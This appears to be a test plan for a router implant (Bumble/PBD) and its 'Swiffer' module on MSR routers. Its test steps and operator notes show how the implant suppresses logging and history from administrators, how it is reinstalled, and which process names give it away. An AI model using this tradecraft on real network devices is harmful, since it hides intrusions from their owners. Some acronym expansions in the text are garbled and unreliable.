    6. Successfully tested with Bumble 3.1 on 11/10/2015 (w/ latency).
  9. Swiffer - Multiple Telnet sessions opened simultaneously (non-ICON session closed first)
    1. Confirm all logs get deleted if there are two telnet open sessions but one session closes before another.
    2. From ICON
      1. tp swiffer activate
      2. telnet 192.168.168.5
      3. dis users
    3. From VM#1
      1. telnet 192.168.168.5
      2. dis ddns policy
      3. quit telnet session
    4. From ICON
      1. dis cellular
      2. quit telnet session
      3. tp swiffer deactivate
    5. From MSR Console
      1. dis history-command all
      2. dis logbuffer reverse
    6. Successfully tested with Bumble 3.1 on 11/10/2015 (w/ latency).
  10. Swiffer - Info-Center gets enabled while Swiffer is active
    1. CT: tp swiffer activate
    2. ICON: dis clock
    3. ICON: dis ip rout
    4. Console: sys
    5. Console: info-center enable
    6. ICON: dis users
    7. CT: tp swiffer deactivate
    8. Console: dis logbuffer reverse
    9. Console: dis history-command all
    10. Once info-center is enabled, commands issues via telnet will appear in the logbuffer (dis logbuffer reverse).  It will not appear in the 'dis history-command all' output.
    11. Swiffer successfully deactivated.  Info-center remained off (dis info-center).
    12. Successfully tested with Bumble 3.1 on 11/2/2015  (w/o latency).
  11. Swiffer - Uninstall
    1. Look for remnants ("comsn" and "telnetd")
  12. Survey and Redirection used simultaneously
    1. This is NOT recommended, so it will not be tested.
  13. Forensics Test - Inspect Netflow on SolarWinds
    1. Inspected multiple times and looks normal.
  14. Ad hoc test - ICON disconnected during PBD (patch) installation
    1. telnet 192.168.168.5  (admin/admin)
    2. ftp XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])  (administrator/password)

    3. ftp patch file to MSR.
      1. bin
      2. get patch.bin
      3. quit
    4. dir cfa0: !Confirm patch.bin was copied
    5. install activate patch cfa0:/patch.bin slot 0
      1. Before the patch completes, reboot the ICON VM.
    6. BUM-3
  15. Ad hoc test - Multiple reconnects to implant via CT
    1. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/6/2015 (w/ latency).
  16. Reconfigured interface
    1. With implant installed, configure another gigabit interface.
    2. Expect no observables
    3. Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency).
  17. Install PBD when PBD is already installed
    1. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/4/2015 (w latency).
  18. Re-attack after PBD already installed
    1. Reboot DUT, install implant, establish comms via CT, and run all tests:  date && sudo time ./reboot_target.exp && sudo ./install_and_run.sh
    2. Disconnect from CTCounter Terrorism session.
    3. Re-install implant and re-run all tests:  sudo ./install_and_run.sh
    4. Inspect 2nd round of test results to ensure tests were passed.  Only one instance of PBD is present.
      1. dis proc cpu slot 0 | include comsn
      2. dis proc cpu slot 2 | include telnetd
      3. dis process memory slot 2 | include telnetd
    5. Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency) and 11/4/2015 (w latency).
  19. Forensics Tests
    1. Inspect pcap
      1. UDP packets appear normal
      2. Most TCPTransport Control Protocol appears normal.
        1. Telnet connections cause a lot of red to appear, likely due to the unreliability of the connection (delay sim is running).  Telnet connections also receive a RSTReal-time Transport Protocol from the MSR periodically.  It seems the MSR (server) issues the RSTReal-time Transport Protocol packet to close the telnet session.
  20. Performance testing (IXIA)
    1. Looked through IXIA report and SolarWinds graphs.  All interfaces seem normal.
  21. Check Cisco 3825 (OSPFOpen Shortest Path First neighbor) for any anomolies
    1. Checked 11/5/2015

Operator Notes

  • Do not use survey and redirection at the same time.
  • Do not save transtable to the filesystem.  Only save to an ftp server.
  • Disabling logging (using swiffer) will also disable logging for a target admin.
    • swiffer will not hide telnet connection from "show users" output.
  • Commands execute while swiffer is enabled will not be removed from the history (dis history-command all) until swiffer is deactivated. They will not appear in the log buffer at all (dis logbuffer).  Info-Center will also be disabled as long as swiffer is active.  If info-center is re-enabled (ie. by an admin), commands issues via telnet will appear in the logbuffer (dis logbuffer reverse).  It will not appear in the 'dis history-command all' output.
  • Add TP note about using Nmap with Score.
  • How do we clear a kernel exception log should one occur?
  • Once swiffer is stopped, it can not be restarted unless you re-install PBD.
  • "comsn" on the MPU and "telnetd" on the SPU are the swiffer process.  If swiffer is removed, the PBD remains installed but these processes will no longer appear.  Swiffer is required to us the "tp savetrans" command.

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh